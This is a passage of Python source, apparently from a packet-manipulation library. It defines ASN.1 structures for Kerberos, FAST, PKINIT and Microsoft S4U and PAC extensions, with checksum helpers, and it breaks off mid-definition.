PA_AUTHENTICATION_SET\n\n\n# [MS-KILE] sect 2.2.3\n\n\nclass PA_PAC_REQUEST(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_BOOLEAN(\"includePac\", True, explicit_tag=0xA0),\n    )\n\n\n_PADATA_CLASSES[128] = PA_PAC_REQUEST\n\n\n# [MS-KILE] sect 2.2.5\n\n\nclass LSAP_TOKEN_INFO_INTEGRITY(Packet):\n    fields_desc = [\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"UAC-Restricted\",\n            },\n        ),\n        LEIntEnumField(\n            \"TokenIL\",\n            0x00002000,\n            {\n                0x00000000: \"Untrusted\",\n                0x00001000: \"Low\",\n                0x00002000: \"Medium\",\n                0x00003000: \"High\",\n                0x00004000: \"System\",\n                0x00005000: \"Protected process\",\n            },\n        ),\n        MayEnd(XStrFixedLenField(\"MachineID\", b\"\", length=32)),\n        # KB 5068222 - still waiting for [MS-KILE] update (oct. 2025)\n        XStrFixedLenField(\"PermanentMachineID\", b\"\", length=32),\n    ]\n\n\n# [MS-KILE] sect 2.2.6\n\n\nclass _KerbAdRestrictionEntry_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_KerbAdRestrictionEntry_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        if pkt.restrictionType.val == 0x0000:  # LSAP_TOKEN_INFO_INTEGRITY\n            return LSAP_TOKEN_INFO_INTEGRITY(val[0].val, _underlayer=pkt), val[1]\n        return val\n\n\nclass KERB_AD_RESTRICTION_ENTRY(ASN1_Packet):\n    name = \"KERB-AD-RESTRICTION-ENTRY\"\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_enum_INTEGER(\n                \"restrictionType\",\n                0,\n                {0: \"LSAP_TOKEN_INFO_INTEGRITY\"},\n                explicit_tag=0xA0,\n            ),\n            _KerbAdRestrictionEntry_Field(\"restriction\", b\"\", explicit_tag=0xA1),\n        )\n    )\n\n\n_AUTHORIZATIONDATA_VALUES[141] = KERB_AD_RESTRICTION_ENTRY\n\n\n# [MS-KILE] sect 3.2.5.8\n\n\nclass KERB_AUTH_DATA_AP_OPTIONS(Packet):\n    name = \"KERB-AUTH-DATA-AP-OPTIONS\"\n    fields_desc = [\n        FlagsField(\n            \"apOptions\",\n            0x4000,\n            -32,\n            {\n                0x4000: \"KERB_AP_OPTIONS_CBT\",\n                0x8000: \"KERB_AP_OPTIONS_UNVERIFIED_TARGET_NAME\",\n            },\n        ),\n    ]\n\n\n_AUTHORIZATIONDATA_VALUES[143] = KERB_AUTH_DATA_AP_OPTIONS\n\n\n# This has no doc..? [MS-KILE] only mentions its name.\n\n\nclass KERB_AUTH_DATA_CLIENT_TARGET(Packet):\n    name = \"KERB-AD-TARGET-PRINCIPAL\"\n    fields_desc = [\n        StrFieldUtf16(\"spn\", \"\"),\n    ]\n\n\n_AUTHORIZATIONDATA_VALUES[144] = KERB_AUTH_DATA_CLIENT_TARGET\n\n\n# RFC6806 sect 6\n\n\nclass KERB_AD_LOGIN_ALIAS(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(ASN1F_SEQUENCE_OF(\"loginAliases\", [], PrincipalName))\n\n\n_AUTHORIZATIONDATA_VALUES[80] = KERB_AD_LOGIN_ALIAS\n\n\n# [MS-KILE] sect 2.2.8\n\n\nclass PA_SUPPORTED_ENCTYPES(Packet):\n    fields_desc = [\n        FlagsField(\n            \"flags\",\n            0,\n            -32,\n            [\n                \"DES-CBC-CRC\",\n                \"DES-CBC-MD5\",\n                \"RC4-HMAC\",\n                \"AES128-CTS-HMAC-SHA1-96\",\n                \"AES256-CTS-HMAC-SHA1-96\",\n            ]\n            + [\"bit_%d\" % i for i in range(11)]\n            + [\n                \"FAST-supported\",\n                \"Compount-identity-supported\",\n                \"Claims-supported\",\n                \"Resource-SID-compression-disabled\",\n            ],\n        )\n    ]\n\n\n_PADATA_CLASSES[165] = PA_SUPPORTED_ENCTYPES\n\n# [MS-KILE] sect 2.2.10\n\n\nclass PA_PAC_OPTIONS(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KerberosFlags(\n            \"options\",\n            \"\",\n            [\n                \"Claims\",\n                \"Branch-Aware\",\n                \"Forward-to-Full-DC\",\n                \"Resource-based-constrained-delegation\",  # [MS-SFU] 2.2.5\n            ],\n            explicit_tag=0xA0,\n        )\n    )\n\n\n_PADATA_CLASSES[167] = PA_PAC_OPTIONS\n\n# [MS-KILE] sect 2.2.11\n\n\nclass KERB_KEY_LIST_REQ(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\n        \"keytypes\",\n        [],\n        ASN1F_enum_INTEGER(\"\", 0, _KRB_E_TYPES),\n    )\n\n\n_PADATA_CLASSES[161] = KERB_KEY_LIST_REQ\n\n# [MS-KILE] sect 2.2.12\n\n\nclass KERB_KEY_LIST_REP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\n        \"keys\",\n        [],\n        ASN1F_PACKET(\"\", None, EncryptionKey),\n    )\n\n\n_PADATA_CLASSES[162] = KERB_KEY_LIST_REP\n\n# [MS-KILE] sect 2.2.13\n\n\nclass KERB_SUPERSEDED_BY_USER(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"name\", None, PrincipalName, explicit_tag=0xA0),\n        Realm(\"realm\", None, explicit_tag=0xA1),\n    )\n\n\n_PADATA_CLASSES[170] = KERB_SUPERSEDED_BY_USER\n\n\n# [MS-KILE] sect 2.2.14\n\n\nclass KERB_DMSA_KEY_PACKAGE(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE_OF(\n            \"currentKeys\",\n            [],\n            ASN1F_PACKET(\"\", None, EncryptionKey),\n            explicit_tag=0xA0,\n        ),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\n                \"previousKeys\",\n                [],\n                ASN1F_PACKET(\"\", None, EncryptionKey),\n                explicit_tag=0xA1,\n            ),\n        ),\n        KerberosTime(\"expirationInterval\", GeneralizedTime(), explicit_tag=0xA2),\n        KerberosTime(\"fetchInterval\", GeneralizedTime(), explicit_tag=0xA4),\n    )\n\n\n_PADATA_CLASSES[171] = KERB_DMSA_KEY_PACKAGE\n\n\n# RFC6113 sect 5.4.1\n\n\nclass _KrbFastArmor_value_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_KrbFastArmor_value_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        if pkt.armorType.val == 1:  # FX_FAST_ARMOR_AP_REQUEST\n            return KRB_AP_REQ(val[0].val, _underlayer=pkt), val[1]\n        return val\n\n\nclass KrbFastArmor(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\n            \"armorType\", 1, {1: \"FX_FAST_ARMOR_AP_REQUEST\"}, explicit_tag=0xA0\n        ),\n        _KrbFastArmor_value_Field(\"armorValue\", \"\", explicit_tag=0xA1),\n    )\n\n\n# RFC6113 sect 5.4.2\n\n\nclass KrbFastArmoredReq(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_optional(\n                ASN1F_PACKET(\"armor\", None, KrbFastArmor, explicit_tag=0xA0)\n            ),\n            ASN1F_PACKET(\"reqChecksum\", Checksum(), Checksum, explicit_tag=0xA1),\n            ASN1F_PACKET(\"encFastReq\", None, EncryptedData, explicit_tag=0xA2),\n        )\n    )\n\n\nclass PA_FX_FAST_REQUEST(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"armoredData\",\n        ASN1_STRING(\"\"),\n        ASN1F_PACKET(\"req\", KrbFastArmoredReq, KrbFastArmoredReq, implicit_tag=0xA0),\n    )\n\n\n# RFC6113 sect 5.4.3\n\n\nclass KrbFastArmoredRep(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_PACKET(\"encFastRep\", None, EncryptedData, explicit_tag=0xA0),\n        )\n    )\n\n\nclass PA_FX_FAST_REPLY(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"armoredData\",\n        ASN1_STRING(\"\"),\n        ASN1F_PACKET(\"req\", KrbFastArmoredRep, KrbFastArmoredRep, implicit_tag=0xA0),\n    )\n\n\nclass KrbFastFinished(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KerberosTime(\"timestamp\", GeneralizedTime(), explicit_tag=0xA0),\n        Microseconds(\"usec\", 0, explicit_tag=0xA1),\n        Realm(\"crealm\", \"\", explicit_tag=0xA2),\n        ASN1F_PACKET(\"cname\", None, PrincipalName, explicit_tag=0xA3),\n        ASN1F_PACKET(\"ticketChecksum\", Checksum(), Checksum, explicit_tag=0xA4),\n    )\n\n\nclass KrbFastResponse(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE_OF(\"padata\", [PADATA()], PADATA, explicit_tag=0xA0),\n        ASN1F_optional(\n            ASN1F_PACKET(\"strengthenKey\", None, EncryptionKey, explicit_tag=0xA1)\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\n                \"finished\", KrbFastFinished(), KrbFastFinished, explicit_tag=0xA2\n            )\n        ),\n        UInt32(\"nonce\", 0, explicit_tag=0xA3),\n    )\n\n\n_PADATA_CLASSES[136] = (PA_FX_FAST_REQUEST, PA_FX_FAST_REPLY)\n\n\n# RFC 4556 - PKINIT\n\n\n# sect 3.2.1\n\n\nclass ExternalPrincipalIdentifier(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_optional(\n            ASN1F_STRING_ENCAPS(\n                \"subjectName\", None, X509_DirectoryName, implicit_tag=0x80\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_STRING_ENCAPS(\n                \"issuerAndSerialNumber\",\n                None,\n                CMS_IssuerAndSerialNumber,\n                implicit_tag=0x81,\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_STRING(\"subjectKeyIdentifier\", \"\", implicit_tag=0x82),\n        ),\n    )\n\n\nclass PA_PK_AS_REQ(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_STRING_ENCAPS(\n            \"signedAuthpack\",\n            CMS_ContentInfo(),\n            CMS_ContentInfo,\n            implicit_tag=0x80,\n        ),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\n                \"trustedCertifiers\",\n                None,\n                ExternalPrincipalIdentifier,\n                explicit_tag=0xA1,\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_STRING(\"kdcPkId\", \"\", implicit_tag=0xA2),\n        ),\n    )\n\n\n_PADATA_CLASSES[16] = PA_PK_AS_REQ\n\n\n# [MS-PKCA] sect 2.2.3\n\n\nclass PAChecksum2(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_STRING(\"checksum\", \"\", explicit_tag=0xA0),\n        ASN1F_PACKET(\n            \"algorithmIdentifier\",\n            X509_AlgorithmIdentifier(),\n            X509_AlgorithmIdentifier,\n            explicit_tag=0xA1,\n        ),\n    )\n\n    def verify(self, text):\n        \"\"\"\n        Verify a checksum of text.\n\n        :param text: the bytes to verify\n        \"\"\"\n        # [MS-PKCA] 2.2.3 - PAChecksum2\n\n        # Only some OIDs are supported. Dumb but readable code.\n        oid = self.algorithmIdentifier.algorithm.val\n        if oid == \"1.3.14.3.2.26\":\n            hashcls = Hash_SHA\n        elif oid == \"2.16.840.1.101.3.4.2.1\":\n            hashcls = Hash_SHA256\n        elif oid == \"2.16.840.1.101.3.4.2.2\":\n            hashcls = Hash_SHA384\n        elif oid == \"2.16.840.1.101.3.4.2.3\":\n            hashcls = Hash_SHA512\n        else:\n            raise ValueError(\"Bad PAChecksum2 checksum !\")\n\n        if hashcls().digest(text) != self.checksum.val:\n            raise ValueError(\"Bad PAChecksum2 checksum !\")\n\n    def make(self, text, h=\"sha256\"):\n        \"\"\"\n        Make a checksum.\n\n        :param text: the bytes to make a checksum of\n        \"\"\"\n        # Only some OIDs are supported. Dumb but readable code.\n        if h == \"sha1\":\n            hashcls = Hash_SHA\n            self.algorithmIdentifier.algorithm = ASN1_OID(\"1.3.14.3.2.26\")\n        elif h == \"sha256\":\n            hashcls = Hash_SHA256\n            self.algorithmIdentifier.algorithm = ASN1_OID(\"2.16.840.1.101.3.4.2.1\")\n        elif h == \"sha384\":\n            hashcls = Hash_SHA384\n            self.algorithmIdentifier.algorithm = ASN1_OID(\"2.16.840.1.101.3.4.2.2\")\n        elif h == \"sha512\":\n            hashcls = Hash_SHA512\n            self.algorithmIdentifier.algorithm = ASN1_OID(\"2.16.840.1.101.3.4.2.3\")\n        else:\n            raise ValueError(\"Bad PAChecksum2 checksum !\")\n\n        self.checksum = ASN1_STRING(hashcls().digest(text))\n\n\n# still RFC 4556 sect 3.2.1\n\n\nclass KRB_PKAuthenticator(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        Microseconds(\"cusec\", 0, explicit_tag=0xA0),\n        KerberosTime(\"ctime\", GeneralizedTime(), explicit_tag=0xA1),\n        UInt32(\"nonce\", 0, explicit_tag=0xA2),\n        ASN1F_optional(\n            ASN1F_STRING(\"paChecksum\", \"\", explicit_tag=0xA3),\n        ),\n        # RFC8070 extension\n        ASN1F_optional(\n            ASN1F_STRING(\"freshnessToken\", None, explicit_tag=0xA4),\n        ),\n        # [MS-PKCA] sect 2.2.3\n        ASN1F_optional(\n            ASN1F_PACKET(\"paChecksum2\", PAChecksum2(), PAChecksum2, explicit_tag=0xA5),\n        ),\n    )\n\n    def make_checksum(self, text, h=\"sha256\"):\n        \"\"\"\n        Populate paChecksum and paChecksum2\n        \"\"\"\n        # paChecksum (always sha-1)\n        self.paChecksum = ASN1_STRING(Hash_SHA().digest(text))\n\n        # paChecksum2\n        self.paChecksum2 = PAChecksum2()\n        self.paChecksum2.make(text, h=h)\n\n    def verify_checksum(self, text):\n        \"\"\"\n        Verify paChecksum and paChecksum2\n        \"\"\"\n        if self.paChecksum.val != Hash_SHA().digest(text):\n            raise ValueError(\"Bad paChecksum checksum !\")\n\n        self.paChecksum2.verify(text)\n\n\n# RFC8636 sect 6\n\n\nclass KDFAlgorithmId(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_OID(\"kdfId\", \"\", explicit_tag=0xA0),\n    )\n\n\n# still RFC 4556 sect 3.2.1\n\n\nclass KRB_AuthPack(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\n            \"pkAuthenticator\",\n            KRB_PKAuthenticator(),\n            KRB_PKAuthenticator,\n            explicit_tag=0xA0,\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\n                \"clientPublicValue\",\n                X509_SubjectPublicKeyInfo(),\n                X509_SubjectPublicKeyInfo,\n                explicit_tag=0xA1,\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\n                \"supportedCMSTypes\",\n                None,\n                X509_AlgorithmIdentifier,\n                explicit_tag=0xA2,\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_STRING(\"clientDHNonce\", None, explicit_tag=0xA3),\n        ),\n        # RFC8636 extension\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"supportedKDFs\", None, KDFAlgorithmId, explicit_tag=0xA4),\n        ),\n    )\n\n\n_CMS_ENCAPSULATED[\"1.3.6.1.5.2.3.1\"] = KRB_AuthPack\n\n# sect 3.2.3\n\n\nclass DHRepInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_STRING_ENCAPS(\n            \"dhSignedData\",\n            CMS_ContentInfo(),\n            CMS_ContentInfo,\n            implicit_tag=0x80,\n        ),\n        ASN1F_optional(\n            ASN1F_STRING(\"serverDHNonce\", \"\", explicit_tag=0xA1),\n        ),\n        # RFC8636 extension\n        ASN1F_optional(\n            ASN1F_PACKET(\"kdf\", None, KDFAlgorithmId, explicit_tag=0xA2),\n        ),\n    )\n\n\nclass EncKeyPack(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_STRING(\"encKeyPack\", \"\")\n\n\nclass PA_PK_AS_REP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_CHOICE(\n        \"rep\",\n        ASN1_STRING(\"\"),\n        ASN1F_PACKET(\"dhInfo\", DHRepInfo(), DHRepInfo, explicit_tag=0xA0),\n        ASN1F_PACKET(\"encKeyPack\", EncKeyPack(), EncKeyPack, explicit_tag=0xA1),\n    )\n\n\n_PADATA_CLASSES[17] = PA_PK_AS_REP\n\n\nclass KDCDHKeyInfo(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_BIT_STRING_ENCAPS(\n            \"subjectPublicKey\", DHPublicKey(), DHPublicKey, explicit_tag=0xA0\n        ),\n        UInt32(\"nonce\", 0, explicit_tag=0xA1),\n        ASN1F_optional(\n            KerberosTime(\"dhKeyExpiration\", None, explicit_tag=0xA2),\n        ),\n    )\n\n\n_CMS_ENCAPSULATED[\"1.3.6.1.5.2.3.2\"] = KDCDHKeyInfo\n\n# [MS-SFU]\n\n\n# sect 2.2.1\nclass PA_FOR_USER(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"userName\", PrincipalName(), PrincipalName, explicit_tag=0xA0),\n        Realm(\"userRealm\", \"\", explicit_tag=0xA1),\n        ASN1F_PACKET(\"cksum\", Checksum(), Checksum, explicit_tag=0xA2),\n        KerberosString(\"authPackage\", \"Kerberos\", explicit_tag=0xA3),\n    )\n\n\n_PADATA_CLASSES[129] = PA_FOR_USER\n\n\n# sect 2.2.2\n\n\nclass S4UUserID(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        UInt32(\"nonce\", 0, explicit_tag=0xA0),\n        ASN1F_optional(\n            ASN1F_PACKET(\"cname\", None, PrincipalName, explicit_tag=0xA1),\n        ),\n        Realm(\"crealm\", \"\", explicit_tag=0xA2),\n        ASN1F_optional(\n            ASN1F_STRING(\"subjectCertificate\", None, explicit_tag=0xA3),\n        ),\n        ASN1F_optional(\n            ASN1F_FLAGS(\n                \"options\",\n                \"\",\n                [\n                    \"reserved\",\n                    \"KDC_CHECK_LOGON_HOUR_RESTRICTIONS\",\n                    \"USE_REPLY_KEY_USAGE\",\n                    \"NT_AUTH_POLICY_NOT_REQUIRED\",\n                    \"UNCONDITIONAL_DELEGATION\",\n                ],\n                explicit_tag=0xA4,\n            )\n        ),\n    )\n\n\nclass PA_S4U_X509_USER(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"userId\", S4UUserID(), S4UUserID, explicit_tag=0xA0),\n        ASN1F_PACKET(\"checksum\", Checksum(), Checksum, explicit_tag=0xA1),\n    )\n\n\n_PADATA_CLASSES[130] = PA_S4U_X509_USER\n\n\n# Back to RFC4120\n\n# sect 5.10\nKRB_MSG_TYPES = {\n    1: \"Ticket\",\n    2: \"Authenticator\",\n    3: \"EncTicketPart\",\n    10: \"AS-REQ\",\n    11: \"AS-REP\",\n    12: \"TGS-REQ\",\n    13: \"TGS-REP\",\n    14: \"AP-REQ\",\n    15: \"AP-REP\",\n    16: \"KRB-TGT-REQ\",  # U2U\n    17: \"KRB-TGT-REP\",  # U2U\n    20: \"KRB-SAFE\",\n    21: \"KRB-PRIV\",\n    22: \"KRB-CRED\",\n    25: \"EncASRepPart\",\n    26: \"EncTGSRepPart\",\n    27: \"EncAPRepPart\",\n    28: \"EncKrbPrivPart\",\n    29: \"EnvKrbCredPart\",\n    30: \"KRB-ERROR\",\n}\n\n# sect 5.3\n\n\nclass KRB_Ticket(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_INTEGER(\"tktVno\", 5, explicit_tag=0xA0),\n            Realm(\"realm\", \"\", explicit_tag=0xA1),\n            ASN1F_PACKET(\"sname\", PrincipalName(), PrincipalName, explicit_tag=0xA2),\n            ASN1F_PACKET(\"encPart\", EncryptedData(), EncryptedData, explicit_tag=0xA3),\n        ),\n        implicit_tag=ASN1_Class_KRB.Ticket,\n    )\n\n    def getSPN(self):\n        return \"%s@%s\" % (\n            self.sname.toString(),\n            self.realm.val.decode(),\n        )\n\n\nclass TransitedEncoding(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        Int32(\"trType\", 0, explicit_tag=0xA0),\n        ASN1F_STRING(\"contents\", \"\", explicit_tag=0xA1),\n    )\n\n\n_TICKET_FLAGS = [\n    \"reserved\",\n    \"forwardable\",\n    \"forwarded\",\n    \"proxiable\",\n    \"proxy\",\n    \"may-postdate\",\n    \"postdated\",\n    \"invalid\",\n    \"renewable\",\n    \"initial\",\n    \"pre-authent\",\n    \"hw-authent\",\n    \"transited-since-policy-checked\",\n    \"ok-as-delegate\",\n    \"unused\",\n    \"canonicalize\",  # RFC6806\n    \"anonymous\",  # RFC6112 + RFC8129\n]\n\n\nclass EncTicketPart(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            KerberosFlags(\n                \"flags\",\n                \"\",\n                _TICKET_FLAGS,\n                explicit_tag=0xA0,\n            ),\n            ASN1F_PACKET(\"key\", EncryptionKey(), EncryptionKey, explicit_tag=0xA1),\n            Realm(\"crealm\", \"\", explicit_tag=0xA2),\n            ASN1F_PACKET(\"cname\", PrincipalName(), PrincipalName, explicit_tag=0xA3),\n            ASN1F_PACKET(\n                \"transited\", TransitedEncoding(), TransitedEncoding, explicit_tag=0xA4\n            ),\n            KerberosTime(\"authtime\", GeneralizedTime(), explicit_tag=0xA5),\n            ASN1F_optional(\n                KerberosTime(\"starttime\", GeneralizedTime(), explicit_tag=0xA6)\n            ),\n            KerberosTime(\"endtime\", GeneralizedTime(), explicit_tag=0xA7),\n            ASN1F_optional(\n                KerberosTime(\"renewTill\", GeneralizedTime(), explicit_tag=0xA8),\n            ),\n            ASN1F_optional(\n                HostAddresses(\"addresses\", explicit_tag=0xA9),\n            ),\n            ASN1F_optional(\n                ASN1F_PACKET(\n                    \"authorizationData\", None, AuthorizationData, explicit_tag=0xAA\n                ),\n            ),\n        ),\n        implicit_tag=ASN1_Class_KRB.EncTicketPart,\n    )\n\n\n# sect 5.4.1\n\n\nclass KRB_KDC_REQ_BODY(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KerberosFlags(\n            \"kdcOptions\",\n            \"\",\n            [\n                \"reserved\",\n                \"forwardable\",\n                \"forwarded\",\n                \"proxiable\",\n                \"proxy\",\n                \"allow-postdate\",\n                \"postdated\",\n                \"unused7\",\n                \"renewable\",\n                \"unused9\",\n                \"unused10\",\n                \"opt-hardware-auth\",\n                \"unused12\",\n                \"unused13\",\n                \"cname-in-addl-tkt\",  # [MS-SFU] sect 2.2.3\n                \"canonicalize\",  # RFC6806\n                \"request-anonymous\",  # RFC6112 + RFC8129\n            ]\n            + [\"unused%d\" % i for i in range(17, 26)]\n            + [\n                \"disable-transited-check\",\n                \"renewable-ok\",\n                \"enc-tkt-in-skey\",\n                \"unused29\",\n                \"renew\",\n                \"validate\",\n            ],\n            explicit_tag=0xA0,\n        ),\n        ASN1F_optional(ASN1F_PACKET(\"cname\", None, PrincipalName, explicit_tag=0xA1)),\n        Realm(\"realm\", \"\", explicit_tag=0xA2),\n        ASN1F_optional(\n            ASN1F_PACKET(\"sname\", None, PrincipalName, explicit_tag=0xA3),\n        ),\n        ASN1F_optional(KerberosTime(\"from_\", None, explicit_tag=0xA4)),\n        KerberosTime(\"till\", GeneralizedTime(), explicit_tag=0xA5),\n        ASN1F_optional(KerberosTime(\"rtime\", GeneralizedTime(), explicit_tag=0xA6)),\n        UInt32(\"nonce\", 0, explicit_tag=0xA7),\n        ASN1F_SEQUENCE_OF(\"etype\", [], Int32, explicit_tag=0xA8),\n        ASN1F_optional(\n            HostAddresses(\"addresses\", explicit_tag=0xA9),\n        ),\n        ASN1F_optional(\n            ASN1F_PACKET(\n                \"encAuthorizationData\", None, EncryptedData, explicit_tag=0xAA\n            ),\n        ),\n        ASN1F_optional(\n            ASN1F_SEQUENCE_OF(\"additionalTickets\", [], KRB_Ticket, explicit_tag=0xAB)\n        ),\n    )\n\n\nKRB_KDC_REQ = ASN1F_SEQUENCE(\n    ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA1),\n    ASN1F_enum_INTEGER(\"msgType\", 10, KRB_MSG_TYPES, explicit_tag=0xA2),\n    ASN1F_optional(ASN1F_SEQUENCE_OF(\"padata\", [], PADATA, explicit_tag=0xA3)),\n    ASN1F_PACKET(\"reqBody\", KRB_KDC_REQ_BODY(), KRB_KDC_REQ_BODY, explicit_tag=0xA4),\n)\n\n\nclass KrbFastReq(ASN1_Packet):\n    # RFC6113 sect 5.4.2\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KerberosFlags(\n            \"fastOptions\",\n            \"\",\n            [\n                \"RESERVED\",\n                \"hide-client-names\",\n            ]\n            + [\"res%d\" % i for i in range(2, 16)]\n            + [\"kdc-follow-referrals\"],\n            explicit_tag=0xA0,\n        ),\n        ASN1F_SEQUENCE_OF(\"padata\", [PADATA()], PADATA, explicit_tag=0xA1),\n        ASN1F_PACKET(\"reqBody\", None, KRB_KDC_REQ_BODY, explicit_tag=0xA2),\n    )\n\n\nclass KRB_AS_REQ(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KRB_KDC_REQ,\n        implicit_tag=ASN1_Class_KRB.AS_REQ,\n    )\n\n\nclass KRB_TGS_REQ(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KRB_KDC_REQ,\n        implicit_tag=ASN1_Class_KRB.TGS_REQ,\n    )\n    msgType = ASN1_INTEGER(12)\n\n\n# sect 5.4.2\n\nKRB_KDC_REP = ASN1F_SEQUENCE(\n    ASN1F_INTEGER(\"pvno\", 5, explicit_tag=0xA0),\n    ASN1F_enum_INTEGER(\"msgType\", 11, KRB_MSG_TYPES, explicit_tag=0xA1),\n    ASN1F_optional(\n        ASN1F_SEQUENCE_OF(\"padata\", [], PADATA, explicit_tag=0xA2),\n    ),\n    Realm(\"crealm\", \"\", explicit_tag=0xA3),\n    ASN1F_PACKET(\"cname\", None, PrincipalName, explicit_tag=0xA4),\n    ASN1F_PACKET(\"ticket\", None, KRB_Ticket, explicit_tag=0xA5),\n    ASN1F_PACKET(\"encPart\", None, EncryptedData, explicit_tag=0xA6),\n)\n\n\nclass KRB_AS_REP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KRB_KDC_REP,\n        implicit_tag=ASN1_Class_KRB.AS_REP,\n    )\n\n    def getUPN(self):\n        return \"%s@%s\" % (\n            self.cname.toString(),\n            self.crealm.val.decode(),\n        )\n\n\nclass KRB_TGS_REP(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KRB_KDC_REP,\n        implicit_tag=ASN1_Class_KRB.TGS_REP,\n    )\n\n    def getUPN(self):\n        return \"%s@%s\" % (\n            self.cname.toString(),\n            self.crealm.val.decode(),\n        )\n\n\nclass LastReqItem(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        Int32(\"lrType\", 0, explicit_tag=0xA0),\n        KerberosTime(\"lrValue\", GeneralizedTime(), explicit_tag=0xA1),\n    )\n\n\nEncKDCRepPart = ASN1F_SEQUENCE(\n    ASN1F_PACKET(\"key\", None, EncryptionKey, explicit_tag=0xA0),\n    ASN1F_SEQUENCE_OF(\"lastReq\", [], LastReqItem, explicit_tag=0xA1),\n    UInt32(\"nonce\", 0, explicit_tag=0xA2),\n    ASN1F_optional(\n        KerberosTime(\"keyExpiration\", GeneralizedTime(), explicit_tag=0xA3),\n    ),\n    